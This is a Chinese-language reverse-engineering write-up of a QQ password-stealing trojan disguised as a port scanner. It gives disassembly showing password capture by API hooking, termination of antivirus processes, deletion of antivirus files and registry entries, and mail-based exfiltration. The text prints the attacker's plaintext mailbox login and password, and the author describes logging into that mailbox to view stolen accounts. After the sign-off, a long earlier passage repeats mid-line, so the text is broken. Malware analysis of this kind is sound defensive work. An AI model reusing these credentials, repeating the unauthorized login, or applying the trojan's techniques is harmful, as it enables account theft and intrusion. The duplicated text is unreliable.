对一qq木马的分析
记录对一个伪装成端口扫描器的 QQ 木马样本的分析过程,通过脱壳与反汇编追踪程序行为,说明互斥检查、文件操作和相关恶意功能的识别线索。
那天晚上在群里和backer下载一端口扫描器(一看就知道是qq木马),我们把它反汇编把其中的盗qq的邮箱给弄出来了。下面抽工作之余我对这个家伙进行了详细的分析:
由于当时没有装虚拟器,就拿自己的笔记本做实验台了。用peid查壳发现是FSG的一个变形的壳,只能手工脱了,用OD载入,脱壳的具体细节我也不说了,因为在我脱的过程中一不小心给运行了,发现界面确实是个扫描器,于是看了看我的临时目录下多出两个文件:端口扫描器.exe和muma.exe看来这是个捆绑机啊。也不用脱了muma.exe出来了。
再用peid查壳发现是UPX的一个变形壳。载入OD手动脱掉之后(脱壳我就不分析了),脱出来的我们叫upack.exe吧。用Ultraedit把它们都打开会发现muma.exe最后有一些加密的字符串,脱壳后的upack.exe里就没有。把这些字串复制到upack.exe的结尾(注意要复制的刚好到位。可能有人会问:你怎么知道的呢。我一开始的时候也没有复制,在跟踪的时候发现此程序在读自身,就察觉有问题)。如果不复制的话带壳调也行。
下面开始真正的分析这个程序了:
0040507E 50 push eax
0040507F 6A 00 push 0
00405081 68 01001F00 push 1F0001
00405086 E8 65EBFFFF call <jmp.&kernel32.OpenMutexA> 打开互斥
0040508B 85C0 test eax, eax
0040508D 75 13 jnz short 004050A2一开始先检查互斥(判断程序运行是否唯一),由于我的机子已经中了这个木马了,需要改一下跳转。0040508D 75 13 je short 004050A2
不然的话就自己动退出了。
004050D0 A1 C0604000 mov eax, dword ptr [4060C0] 把"ExeMutex_QQRobber2.0"给eax
004050D5 E8 1AE3FFFF call 004033F4 判断上面的字符串有没有
004050DA 50 push eax
004050DB 6A 00 push 0
004050DD 6A 00 push 0
004050DF E8 9CEAFFFF call 00403B80 以"ExeMutex_QQRobber2.0"创建互斥看一下call 00403B80这个函数里面:
00403B80 55 push ebp
00403B81 8BEC mov ebp, esp
00403B83 8B45 10 mov eax, dword ptr [ebp+10]
00403B86 50 push eax
00403B87 837D 0C 01 cmp dword ptr [ebp+C], 1
00403B8B 1BC0 sbb eax, eax
00403B8D 40 inc eax
00403B8E 83E0 7F and eax, 7F
00403B91 50 push eax
00403B92 8B45 08 mov eax, dword ptr [ebp+8]
00403B95 50 push eax
00403B96 E8 DDFFFFFF call <jmp.&kernel32.CreateMutexA>
00403B9B 5D pop ebp
00403B9C C2 0C00 retn 0C创建了一个互斥
下面呢
004050E9 E8 16EEFFFF call 00403F04到这个函数里去:
00403F25 E8 FAF5FFFF call 00403524
00403F2A 6A 32 push 32
00403F2C 8BC3 mov eax, ebx
00403F2E E8 19F5FFFF call 0040344C
00403F33 50 push eax
00403F34 E8 97FCFFFF call <jmp.&kernel32.GetWindowsDirectoryA>
00403F39 8D45 FC lea eax, dword ptr [ebp-4]
00403F3C E8 D7FEFFFF call 00403E18得到系统目录,我的是:C:\windows(再往下看就知道为什么了)
看00403F3C E8 D7FEFFFF call 00403E18
里得到C:\的具体信息,(推测是判断一下这个C:\盘是否存在)
现在有了C:\这个系统盘符了
00403F73 E8 3CF3FFFF call 004032B4
00403F78 EB 27 jmp short 00403FA1 在程序里有内置了一个目录是:\Program Files\Common Files\Microsoft Shared\MSInfo
call 004032B4就是把C和上面的字串接起来
004050E9 E8 16EEFFFF call 00403F04
004050EE 8B55 EC mov edx, dword ptr [ebp-14]
004050F1 B8 B0764000 mov eax, 004076B0
004050F6 E8 05E0FFFF call 00403100
004050FB A1 B0764000 mov eax, dword ptr [4076B0]
00405100 E8 EFE2FFFF call 004033F4上面的函数是通过一些算法随机算出一个dll文件名,我机子上是E83B4A4D.dll然后和上面的字串接起来成为:
C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll
00405105 8BD8 mov ebx, eax
00405107 53 push ebx 得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll的属性
00405108 E8 ABEAFFFF call <jmp.&kernel32.GetFileAttributesA> 它的意思是看这个文件存在否,
0040510D 83F8 FF cmp eax, -1 比较是否失败这个程序判断一个文件是否存在用的不是FindFirstFile是GetFileAttributes函数,意思是如果得不到此文件的属性就认为它不存在
00405110 /74 0E je short 00405120
00405112 |6A 00 push 0
00405114 |53 push ebx
00405115 |E8 EEEAFFFF call <jmp.&kernel32.SetFileAttributesA> 设置此文件的属性
0040511A |53 push ebx
0040511B |E8 80EAFFFF call <jmp.&kernel32.DeleteFileA> 注意
00405120 \8D55 E4 lea edx, dword ptr [ebp-1C]如果存在呢,设置文件的属性为正常,然后把它删掉
继续往下看这个00405125 E8 62D5FFFF call 0040268C
里面是:
004026A4 68 05010000 push 105
004026A9 8D4424 04 lea eax, dword ptr [esp+4]
004026AD 50 push eax
004026AE 6A 00 push 0
004026B0 E8 AFE9FFFF call <jmp.&kernel32.GetModuleFileNameA>
004026B5 8BC8 mov ecx, eax得到自己程序和路径:我的是C:\Documents and Settings\javafish\Desktop\MSInfo\upack.exe
返回看00405130 E8 AFF7FFFF call 004048E4
里面:
00404927 6A 00 push 0
00404929 68 80000000 push 80
0040492E 6A 03 push 3
00404930 6A 00 push 0
00404932 6A 01 push 1
00404934 68 00000080 push 80000000
00404939 8B45 FC mov eax, dword ptr [ebp-4]
0040493C E8 B3EAFFFF call 004033F4
00404941 50 push eax
00404942 E8 29F2FFFF call <jmp.&kernel32.CreateFileA> 查看点击木马程序开始操作程序本身了
下面00404962 E8 A9F2FFFF call <jmp.&kernel32.SetFilePointer>
调整好文件指针开始读自身的程序了
一直到:
004049EC 50 push eax
004049ED 56 push esi
004049EE E8 05F2FFFF call <jmp.&kernel32.ReadFile> qYrAjIODlLCMkWNu_Wrp\HN<qH?<\HN<mD?@\HN<mD<
紧接着004049F9 E8 AAFCFFFF call 004046A8
对加密信息进行解密,大部分是解密算法,一直往下跟:
004047CA 3B75 F4 cmp esi, dword ptr [ebp-C]
004047CD ^ 0F8C 47FFFFFF jl 0040471A 木马配置信息是加密过的,以上是解密配置信息
004047D3 8D45 E0 lea eax, dword ptr [ebp-20] [ebp-20]处显示配置信息的明文看看解密出来的明文吧:
http://www.xxx.com/qq.asp huwan520@tom.com smtp.tom.com huwan520 100200520 huwan520@tom.com1 500 1 1 1 1 1 .u@.
根据经验可以看出邮件服务器为smtp.tom.com 收件箱为 huwan520@tom.com
Smtp服务器的用户名为huwan520,密码为:100200520
登陆一下是可以进去的,里面有六百多个qq,木马传播者的信息呢(现在已改)。
继续分析:
一直跟到
00404CDA 8BD8 mov ebx, eax 以上在做字符串操作,把各个配置信息提取出来会发现程序一直在做字串的拆解工作。
等函数都返回跟到:
00405138 50 push eax
00405139 6A 01 push 1
0040513B 8BCB mov ecx, ebx
0040513D BA 0C534000 mov edx, 0040530C ASCII "DATEINFO"
00405142 B8 0A000000 mov eax, 0A
00405147 E8 2CFCFFFF call 00404D78发现在调用可疑的函数call 00404D78(为什么可疑呢:上面那个字串"DATEINFO"的原因)
进去看看:
00404D96 55 push ebp
00404D97 68 F64E4000 push 00404EF6
00404D9C 64:FF30 push dword ptr fs:[eax]
00404D9F 64:8920 mov dword ptr fs:[eax], esp
00404DA2 C645 FF 00 mov byte ptr [ebp-1], 0
00404DA6 56 push esi
00404DA7 57 push edi
00404DA8 A1 50764000 mov eax, dword ptr [407650]
00404DAD 50 push eax
00404DAE E8 F5EDFFFF call <jmp.&kernel32.FindResourceA>它在加载资源,而资源的名称恰恰为:"DATEINFO"
以下的
00404DC4 E8 17EEFFFF call <jmp.&kernel32.LoadResource>
00404DD4 E8 0FEEFFFF call <jmp.&kernel32.LockResource>为取出资源来作准备
00404DEC 6A 00 push 0
00404DEE 6A 06 push 6
00404DF0 6A 02 push 2
00404DF2 6A 00 push 0
00404DF4 6A 00 push 0
00404DF6 68 000000C0 push C0000000
00404DFB 53 push ebx
00404DFC E8 6FEDFFFF call <jmp.&kernel32.CreateFileA> 加载自身资源把dll提取出来,生成到C:\PROGRAM FILES\COMMONS FILE\....―――真正的释放了
00404E2C E8 E7EDFFFF call <jmp.&kernel32.SizeofResource>取得资源大小
00404E3F E8 E4EDFFFF call <jmp.&kernel32.WriteFile>写入文件,此文件正是:C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll
还没完:
00404E69 50 push eax
00404E6A 56 push esi
00404E6B 8D45 0C lea eax, dword ptr [ebp+C]
00404E6E E8 D9E5FFFF call 0040344C
00404E73 50 push eax
00404E74 53 push ebx
00404E75 E8 AEEDFFFF call <jmp.&kernel32.WriteFile> 把木马配置文件也写到dll的结尾(可以用Ultraedit打开看看)最后FreeResouce收尾
函数返回接着
0040514C 6A 07 push 7
0040514E 53 push ebx
0040514F E8 B4EAFFFF call <jmp.&kernel32.SetFileAttributesA> 把C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll改为隐藏属性下面注册dll为COM可以自启动
00405156 E8 15F2FFFF call 00404370 注册dll为Com这个函数里用的都是注册表的操作
接下来
0040515E E8 75EEFFFF call 00403FD8
00405163 8B45 E0 mov eax, dword ptr [ebp-20]
00405166 E8 89E2FFFF call 004033F4上面用一开始程序得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll的方法得到一个C:\Program Files\Common Files\Microsoft Shared\MSINFO\E83B4A4D.dat的文件。
0040516B 50 push eax
0040516C E8 47EAFFFF call <jmp.&kernel32.GetFileAttributesA>再用GetFileAttributes函数判断C:\Program Files\Common Files\Microsoft Shared\MSINFO\E83B4A4D.dat是否存在,存在就删除
然后:
004051B6 50 push eax
004051B7 8D55 D0 lea edx, dword ptr [ebp-30]
004051BA 33C0 xor eax, eax
004051BC E8 CBD4FFFF call 0040268C
004051C1 8B45 D0 mov eax, dword ptr [ebp-30]
004051C4 E8 2BE2FFFF call 004033F4
004051C9 50 push eax
004051CA E8 99E9FFFF call <jmp.&kernel32.CopyFileA> 备份当前程序成dll旁边的.dat文件并设置属性为系统文件,让一般人都看不到
004051EA E8 B9F0FFFF call 004042A8//函数里得到系统目录
004051EF 8B55 C8 mov edx, dword ptr [ebp-38]
004051F2 B8 B4764000 mov eax, 004076B4
004051F7 B9 20534000 mov ecx, 00405320 ASCII "Help\wshmcepts.chm"把系统目录和Help\wshmcepts.chm拼接成C:\windows\Help\wshmcepts.chm
同样的方法用
0040520E E8 A5E9FFFF call <jmp.&kernel32.GetFileAttributesA> 先看看有没有C:\windows\help\wshmcepts.chm
00405226 6A FF push -1
00405228 57 push edi
00405229 8D55 C4 lea edx, dword ptr [ebp-3C]
0040522C 33C0 xor eax, eax
0040522E E8 59D4FFFF call 0040268C
00405233 8B45 C4 mov eax, dword ptr [ebp-3C]
00405236 E8 B9E1FFFF call 004033F4
0040523B 50 push eax
0040523C E8 27E9FFFF call <jmp.&kernel32.CopyFileA> 如果没有C:\windows\Help\wshmcepts.chm的话把当前程序备份成C:\windows\help\wshmcepts.chm并设置属性为系统属性
0040524A E8 89E9FFFF call <jmp.&kernel32.LoadLibraryA> 载入dll了
0040524F 8BD8 mov ebx, eax
00405251 85DB test ebx, ebx
00405253 75 0A jnz short 0040525F
00405255 33C0 xor eax, eax
00405257 5A pop edx
00405258 59 pop ecx
00405259 59 pop ecx
0040525A 64:8910 mov dword ptr fs:[eax], edx
0040525D EB 74 jmp short 004052D3
0040525F 68 34534000 push 00405334 得到dll里的钩子函数JumpHookOn的地址
00405264 53 push ebx
00405265 E8 56E9FFFF call <jmp.&kernel32.GetProcAddress>
0040526A A3 B8764000 mov dword ptr [4076B8], eax
0040526F 68 40534000 push 00405340 得到关闭钩子JumpHookOff的地址
00405274 53 push ebx
00405275 E8 46E9FFFF call <jmp.&kernel32.GetProcAddress>
0040527A 89C7 mov edi, eax
0040527C FF15 B8764000 call dword ptr [4076B8] 加载钩子
00405282 68 E8030000 push 3E8
00405287 E8 94E9FFFF call <jmp.&kernel32.Sleep>
0040528C A1 C4604000 mov eax, dword ptr [4060C4]
00405291 E8 5EE1FFFF call 004033F4
00405296 50 push eax 看自己是否唯一,如果唯一就循环查看自己是否唯一,如果不唯一就退出
00405297 6A 00 push 0
00405299 68 01001F00 push 1F0001
0040529E E8 4DE9FFFF call <jmp.&kernel32.OpenMutexA>
004052A3 85C0 test eax, eax
004052A5 ^ 74 DB je short 00405282
004052A7 50 push eax
004052A8 E8 B3E8FFFF call <jmp.&kernel32.CloseHandle>以上是对qq木马exe文件的分析,而它的一些要害功能都在上面的DLL里(未完)
前面在分析此木马的exe文件的最后调动了一下C:\program files\common\micsoftshared\msinfo\下的一个dll的JumpHookOn
下面分析一下这个dll:
先看JumpHookOn:如下
003D45B8 >/$ 6A 00 push 0 /ThreadID = 0
003D45BA |. A1 50D63D00 mov eax, dword ptr [3DD650] |
003D45BF |. 50 push eax |hModule => NULL
003D45C0 |. B8 98453D00 mov eax, 003D4598 |
003D45C5 |. 50 push eax |Hookproc => E83B4A4D.003D4598
003D45C6 |. 6A 03 push 3 |HookType = WH_GETMESSAGE
003D45C8 |. E8 2FFFFFFF call <jmp.&user32.SetWindowsHookExA> \SetWindowsHookExA
003D45CD |. A3 70D63D00 mov dword ptr [3DD670], eax发现HOOK是用的消息钩子
不过从它的回调函数看来这个钩子基本没用
因为里面什么事也没干只调用了CallNextHook函数
从dll的主函数开始看:
Dll先调用:
003DBC05 . 55 push ebp
003DBC06 . 68 28BF3D00 push 003DBF28
003DBC0B . 64:FF30 push dword ptr fs:[eax]
003DBC0E . 64:8920 mov dword ptr fs:[eax], esp
003DBC11 . 68 04010000 push 104 /BufSize = 104 (260.)
003DBC16 . 68 64D93D00 push 003DD964 |PathBuffer = E83B4A4D.003DD964
003DBC1B . 6A 00 push 0 |hModule = NULL
003DBC1D . E8 3287FFFF call <jmp.&kernel32.GetModuleFileNameA> \GetModuleFileNameA得到程序的路径和名称,我的是:
003DD964 43 3A 5C 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64 C:\Documents andSettings\Adminstrator\桌面\OllyICE\LOADDLL.EXE(上一次的机子我怕分析出问题所以换了台机子,我用的是OD的LOADDLL加载分析的DLL)
提取出LOADDLL.EXE
调用
003DBC49 . BA 68BF3D00 mov edx, 003DBF68 ASCII "Explorer.exe"
003DBC4E . E8 558FFFFF call 003D4BA8
003DBC53 . 84C0 test , al, al来判断它与Explorer.exe是否一样,不一样的话退出
为了分析把下面的je改为jnz
下面打开003DBC6F . E8 3087FFFF call <jmp.&kernel32.OpenMutexA> \OpenMutexA
不用去理会
接着调用:
003DBC85 . E8 6A8DFFFF call 003D49F4这个函数的功能和上面的.exe中的一样:得到系统目录,算出本机的.dll文件拼接为:C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll
下面就是生成这个dll,和前面说的.exe的一样
003DBCA2 . E8 D995FFFF call 003D5280下面开始创建线程:
003DBCAC . C600 01 mov byte ptr [eax], 1
003DBCAF . 68 60D93D00 push 003DD960 /pThreadId = E83B4A4D.003DD960
003DBCB4 . 6A 00 push 0 |CreationFlags = 0
003DBCB6 . 6A 00 push 0 |pThreadParm = NULL
003DBCB8 . 68 FCB33D00 push 003DB3FC |ThreadFunction = E83B4A4D.003DB3FC
003DBCBD . 6A 00 push 0 |StackSize = 0
003DBCBF . 6A 00 push 0 |pSecurity = NULL
003DBCC1 . E8 5E86FFFF call <jmp.&kernel32.CreateThread>\CreateThread先在要去的线程地址上下个断点,一会就到了。先分析主线程,不用管它。
往下看:
003DBCC6 . 68 04010000 push 104 /BufSize = 104 (260.)
003DBCCB . 68 64D93D00 push 003DD964 |PathBuffer = E83B4A4D.003DD964
003DBCD0 . A1 50D63D00 mov eax, dword ptr [3DD650] |
003DBCD5 . 50 push eax |hModule => 003D0000 (E83B4A4D)
003DBCD6 . E8 7986FFFF call <jmp.&kernel32.GetModuleFileNameA> \GetModuleFileNameA
003DBCDB . 68 64D93D00 push 003DD964 /FileName = "C:\Documents and Settings\Administrator\",D7,"烂鎈E83B4A4D.dll"
003DBCE0 . E8 AF86FFFF call <jmp.&kernel32.LoadLibraryA> \LoadLibraryA
003DBCE5 > 8D45 A8 lea eax, dword ptr [ebp-58]
003DBCE8 . BA 64D93D00 mov edx, 003DD964
003DBCED . B9 05010000 mov ecx, 105
003DBCF2 . E8 597BFFFF call 003D3850
003DBCF7 . 8B45 A8 mov eax, dword ptr [ebp-58]
003DBCFA . 8D55 AC lea edx, dword ptr [ebp-54]
003DBCFD . E8 D68EFFFF call 003D4BD8
003DBD02 . 8B45 AC mov eax, dword ptr [ebp-54]
003DBD05 . BA 80BF3D00 mov edx, 003DBF80 ASCII "QQ.Exe"上面先得到文件的路径,然后和”QQ.EXE”进行比较(进行比较是在call 003D4BA8里面)
发果不一样就跳走,(这可是个关键跳,两边都的分析)
先按正常顺序来,跳走
又开始那一系列:打开互斥….
然后
把和前面一样得到系统目录把C:\windows\Help\wshmcepts.chm备份到"C:\ALASTART.EXE"然后运行一下。
然后主线程就这样永远的结束了。
让我们回过头来看看与QQ.EXE比较后的关键跳吧:
为什么拿QQ.EXE和自己比较呢,肯定有问题(应该是它会注入到QQ.EXE里面去),就是说当QQ被注入线程之后,在它里面的DLL它的主线程的名字才叫QQ.EXE,我们把跳转改一下
003DBD11 /0F85 E8000000 jnz 003DBDFF 注意把下面的互斥跳转也要改
003DBD34 /0F85 C5000000 jnz 003DBDFF下面开始:
003DBD43 . E8 AC8CFFFF call 003D49F4上.exe一样得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll
003DBD60 . E8 1B95FFFF call 003D5280 上面dll文件信息
003DBD97 . 8D45 90 lea eax, dword ptr [ebp-70]
003DBD9A . B9 90BF3D00 mov ecx, 003DBF90 ASCII "npkcrypt.bak"
003DBD9F . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C]
003DBDA5 . E8 0A7BFFFF call 003D38B4
003DBDB2 . 50 push eax
003DBDB3 . 8D45 8C lea eax, dword ptr [ebp-74]
003DBDB6 . B9 A8BF3D00 mov ecx, 003DBFA8 ASCII "npkcrypt.sys"
003DBDBB . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C]
003DBDC1 . E8 EE7AFFFF call 003D38B4
003DBDC6 . 8B45 8C mov eax, dword ptr [ebp-74]
003DBDC9 . E8 9A7CFFFF call 003D3A68
003DBDCE . 50 push eax |ExistingName
003DBDCF . E8 C885FFFF call <jmp.&kernel32.MoveFileA> \MoveFileA说明是把QQ目录下的npkcrypt.sys改成npkcrypt.bak
003DBDD4 . 8D45 88 lea eax, dword ptr [ebp-78]
003DBDD7 . B9 C0BF3D00 mov ecx, 003DBFC0 ASCII "LoginCtrl.dll"
003DBDDC . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C]
003DBDE2 . E8 CD7AFFFF call 003D38B4
003DBDE7 . 8B45 88 mov eax, dword ptr [ebp-78]
003DBDEA . E8 797CFFFF call 003D3A68
003DBDEF . 50 push eax /FileName
003DBDF0 . E8 9F85FFFF call <jmp.&kernel32.LoadLibraryA> \LoadLibraryALoad一下qq目录里的LoginCtrl.dll(加载dll郁闷啊,为了模拟真实环境我只能把它copy到qq目录下)
然后启动一个线程,
003DB098 /. 55 push ebp
003DB099 |. 8BEC mov ebp, esp
003DB09B |. 53 push ebx
003DB09C |. BB A00F0000 mov ebx, 0FA0
003DB0A1 |> E8 16FFFFFF /call 003DAFBC
003DB0A6 |. 6A 64 |push 64 /Timeout = 100. ms
003DB0A8 |. E8 2793FFFF |call <jmp.&kernel32.Sleep> \Sleep
003DB0AD |. 4B |dec ebx
003DB0AE |.^ 75 F1 \jnz short 003DB0A1
003DB0B0 |. 5B pop ebx
003DB0B1 |. 5D pop ebp
003DB0B2 \. C2 0400 retn 4它在每0.1s循环做一件事情:看call 003DAFBC
里面不断的找标题为QQ用户登陆的对话框
找到就在上面的画上一个图标(伪装?)
找不到就找qq,找到就发送WM_SYSCOMMAND消息,参数为:SC_CLOSE把其关掉
接着启动一个线程之后
然后又调用003DBDFA . E8 31FBFFFF call 003DB930
这个调用是非常关键的,不过此DLL是运行在我的LoadDLL.EXE里面的不是QQ里面(因为前面我把跳转改了),所以动态是跟不进去了,因为它要LoadLibrary一些QQ的DLL所以只能静态的分析:
看这个call里面:
003DB930 /$ 68 CCB93D00 push 003DB9CC /Arg3 = 003DB9CC ASCII "user32.dll"
003DB935 |. 68 D8B93D00 push 003DB9D8 |Arg2 = 003DB9D8 ASCII "LoadImageA"
003DB93A |. 68 20B83D00 push 003DB820 |Arg1 = 003DB820
003DB93F |. B9 E4B93D00 mov ecx, 003DB9E4 |ASCII "LoginCtrl.Dll"
003DB944 |. B2 01 mov dl, 1 |
003DB946 |. A1 C0B53D00 mov eax, dword ptr [3DB5C0] |
003DB94B |. E8 C8FCFFFF call 003DB618 \up.003DB618又在不断的call
- user32.dll,LoadImageA,LoginCtrl.Dll
- user32.dll,LoadStringA,MFC42.Dll
- shell32.dll,ShellExecuteA,QQHelperDll.Dll
全是用的call 003DB618,这里一定很重要
拿第一组为例子看一下:
003DB639 |. E8 1E8DFFFF call <jmp.&kernel32.GetModuleHandleA> \GetModuleHandleA
003DB63E |. 8947 08 mov dword ptr [edi+8], eax
003DB641 |. 837F 08 00 cmp dword ptr [edi+8], 0
003DB645 |. 74 2E je short 003DB675
003DB647 |. 895F 0C mov dword ptr [edi+C], ebx
003DB64A |. 8B45 08 mov eax, dword ptr [ebp+8]
003DB64D |. 8947 10 mov dword ptr [edi+10], eax
003DB650 |. 8B45 0C mov eax, dword ptr [ebp+C]
003DB653 |. 50 push eax /ProcNameOrOrdinal
003DB654 |. 53 push ebx |/pModule
003DB655 |. E8 028DFFFF call <jmp.&kernel32.GetModuleHandleA> |\GetModuleHandleA
003DB65A |. 50 push eax |hModule
003DB65B |. E8 0C8DFFFF call <jmp.&kernel32.GetProcAddress> \GetProcAddress从入栈的情况看来看是想找到LoginCtrl.DLL中调用user32.dll里LoadImageA的地址,得到了但没有调用,(中间也加杂着除错的代码)紧接着
003DB670 |. E8 67000000 call 003DB6DCCall了一下,跟进去:
一目了然,别的不说光看这里调用的API(ImageDirectoryEntryToData,VirtualProtect,WriteProcessMemory)就可想象它想干什么了:没错,HOOK api,但为什么会HOOK LoadImage呢
可以用资源查看器eXeScope.exe看一下木马dll的资源,里面有一个图标,是qq登陆框密码输入框上的小锁,估计是用来伪装qq密码加锁的现象。
那么其它的就不用说了吧
它想把LoadStringA,和ShellExecuteEx都HOOK掉,说明它盗QQ用的技术不是HOOP消息,而是HOOK API。
在这里应该可以初步的看出它盗QQ的做法是:把密码加锁关掉,但又不想让用户看出来便自己伪装了一个图标。既然密码加锁关掉了,那么QQ的实时输入密码便不会被加密。然后HOOK LoadString把密码截获。
回过头来看看
003DBCC1 . E8 5E86FFFF call <jmp.&kernel32.CreateThread> \CreateThread那个线程吧
地址是:003db3fc
到那里去看看
发现它又创建了5个线程(创建它们是有条件的):不过这里我们改跳转就全让它创建了(这样程序可能会运行失败)。
这5个线程:
- 003db0d0
- 003db10c
- 003db120
- 003db12c
- 003db244
003db0d0:里面看003DB0F1 |. E8 A6D0FFFF call 003D819C
跟进去会看到:
003D81E7 |. E8 98FBFFFF call 003D7D84 再跟进去:
003D7D8A |. E8 79FDFFFF call 003D7B08再跟进去:会发现开始不断的得到一系列列出进程的函数的地址
不断的调用它们把进程,模块,线程都列出来
然后和它储备的一些比较,并在这里
003D8262 |. E8 15FFFFFF |call 003D817C
003D817C /$ 53 push ebx
003D817D |. 50 push eax /ProcessId
003D817E |. 6A FF push -1 |Inheritable = TRUE
003D8180 |. 68 FF0F1F00 push 1F0FFF |Access = PROCESS_ALL_ACCESS
003D8185 |. E8 22C2FFFF call <jmp.&kernel32.OpenProcess> \OpenProcess
003D818A |. 8BD8 mov ebx, eax
003D818C |. 6A 00 push 0 /ExitCode = 0
003D818E |. 53 push ebx |hProcess
003D818F |. E8 48C2FFFF call <jmp.&kernel32.TerminatePr> \TerminateProcess结束进程.
来看第二个003db10c:
003DB10C /. 55 push ebp
003DB10D |. 8BEC mov ebp, esp
003DB10F |. E8 10D9FFFF call 003D8A24
003DB114 |. E8 A3DCFFFF call 003D8DBC
003DB119 |. 5D pop ebp
003DB11A \. C2 0400 retn 4里面有两个call:
第一个是不断的列出自己的字串和“system\currentcontrolset\services\”或“software\microsoft\windows\currentversion\run”接起来,把有关杀毒软件的信息删除。
把杀毒软件的服务信息删除由于它储备的杀毒软件信息太多这里就不列出来了。
第二个是不断的猜注册表里杀毒软件的安装信息得到杀毒软件的安装路径,把杀毒软件的重要文件备份成为*.bak,删除。
第三个在里面的函数可以看出主要是真对还原精灵的,在注册表里删除还原精灵的信息。
不过在里面又启动一个线程
003D9BE5 |. 50 push eax /pThreadId
003D9BE6 |. 6A 00 push 0 |CreationFlags = 0
003D9BE8 |. 6A 01 push 1 |pThreadParm = 00000001
003D9BEA |. 68 84993D00 push 003D9984 |ThreadFunction = E83B4A4D.003D9984
003D9BEF |. 6A 00 push 0 |StackSize = 0
003D9BF1 |. 6A 00 push 0 |pSecurity = NULL
003D9BF3 |. E8 2CA7FFFF call <jmp.&kernel32.CreateThread> \CreateThread进去:是为了隐藏一个叫LanCard的东西,不知道为什么这两个还特别对待。可能是因为还原精灵有点复杂,对复的方法不一样。
第四个:看
003DB173 . E8 08A9FFFF call 003D5A80进去:可以看到它在准备初始化socket库开始对外发信了,具体不跟了就是smtp协议
看第五个:
读取注册表中qq的安装信息得到qq的路径,然后得到TIMPlatform.exe的路径
003DB302 . E8 95CEFFFF call 003D819C上面call这里面和第一个线程调用的是一样的,列出进程把TIMPlatform.exe的进程杀掉。
003DB31F . 50 push eax
003DB320 . 8D45 E8 lea eax, dword ptr [ebp-18]
003DB323 . E8 A097FFFF call 003D4AC8
003DB328 . 8B45 E8 mov eax, dword ptr [ebp-18]
003DB32B . E8 3887FFFF call 003D3A68
003DB330 . 50 push eax |ExistingFileName
003DB331 . E8 B68FFFFF call <jmp.&kernel32.CopyFileA> \CopyFileA把C:\program files\common\micsoft shared\MSINFO\***.dat(前面提到过的木马备份)复制到C:\program files\qq2006\***.exe。C:\program files\qq2006\TIMPlatform.exe复制到C:\program files\qq2006\TIMPlatform.exe.bak
然后向TIMPlatform.exe写入一些东西,什么东西呢,我也不知道。这个的专门研究了TIMPlatform.exe才行。估计是修改了TIMPlatform的功能(恶意的)。
鉴定完毕,如果有错误的地方请大家批评指出,谢谢,^_^
, al, al
来判断它与Explorer.exe是否一样,不一样的话退出
为了分析把下面的je改为jnz
下面打开003DBC6F . E8 3087FFFF call <jmp.&kernel32.OpenMutexA> \OpenMutexA
不用去理会
接着调用:
003DBC85 . E8 6A8DFFFF call 003D49F4这个函数的功能和上面的.exe中的一样:得到系统目录,算出本机的.dll文件拼接为:C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll
下面就是生成这个dll,和前面说的.exe的一样
003DBCA2 . E8 D995FFFF call 003D5280下面开始创建线程:
003DBCAC . C600 01 mov byte ptr [eax], 1
003DBCAF . 68 60D93D00 push 003DD960 /pThreadId = E83B4A4D.003DD960
003DBCB4 . 6A 00 push 0 |CreationFlags = 0
003DBCB6 . 6A 00 push 0 |pThreadParm = NULL
003DBCB8 . 68 FCB33D00 push 003DB3FC |ThreadFunction = E83B4A4D.003DB3FC
003DBCBD . 6A 00 push 0 |StackSize = 0
003DBCBF . 6A 00 push 0 |pSecurity = NULL
003DBCC1 . E8 5E86FFFF call <jmp.&kernel32.CreateThread>\CreateThread先在要去的线程地址上下个断点,一会就到了。先分析主线程,不用管它。
往下看:
003DBCC6 . 68 04010000 push 104 /BufSize = 104 (260.)
003DBCCB . 68 64D93D00 push 003DD964 |PathBuffer = E83B4A4D.003DD964
003DBCD0 . A1 50D63D00 mov eax, dword ptr [3DD650] |
003DBCD5 . 50 push eax |hModule => 003D0000 (E83B4A4D)
003DBCD6 . E8 7986FFFF call <jmp.&kernel32.GetModuleFileNameA> \GetModuleFileNameA
003DBCDB . 68 64D93D00 push 003DD964 /FileName = "C:\Documents and Settings\Administrator\",D7,"烂鎈E83B4A4D.dll"
003DBCE0 . E8 AF86FFFF call <jmp.&kernel32.LoadLibraryA> \LoadLibraryA
003DBCE5 > 8D45 A8 lea eax, dword ptr [ebp-58]
003DBCE8 . BA 64D93D00 mov edx, 003DD964
003DBCED . B9 05010000 mov ecx, 105
003DBCF2 . E8 597BFFFF call 003D3850
003DBCF7 . 8B45 A8 mov eax, dword ptr [ebp-58]
003DBCFA . 8D55 AC lea edx, dword ptr [ebp-54]
003DBCFD . E8 D68EFFFF call 003D4BD8
003DBD02 . 8B45 AC mov eax, dword ptr [ebp-54]
003DBD05 . BA 80BF3D00 mov edx, 003DBF80 ASCII "QQ.Exe"上面先得到文件的路径,然后和”QQ.EXE”进行比较(进行比较是在call 003D4BA8里面)
发果不一样就跳走,(这可是个关键跳,两边都的分析)
先按正常顺序来,跳走
又开始那一系列:打开互斥….
然后
把和前面一样得到系统目录把C:\windows\Help\wshmcepts.chm备份到"C:\ALASTART.EXE"然后运行一下。
然后主线程就这样永远的结束了。
让我们回过头来看看与QQ.EXE比较后的关键跳吧:
为什么拿QQ.EXE和自己比较呢,肯定有问题(应该是它会注入到QQ.EXE里面去),就是说当QQ被注入线程之后,在它里面的DLL它的主线程的名字才叫QQ.EXE,我们把跳转改一下
003DBD11 /0F85 E8000000 jnz 003DBDFF 注意把下面的互斥跳转也要改
003DBD34 /0F85 C5000000 jnz 003DBDFF下面开始:
003DBD43 . E8 AC8CFFFF call 003D49F4上.exe一样得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll
003DBD60 . E8 1B95FFFF call 003D5280 上面dll文件信息
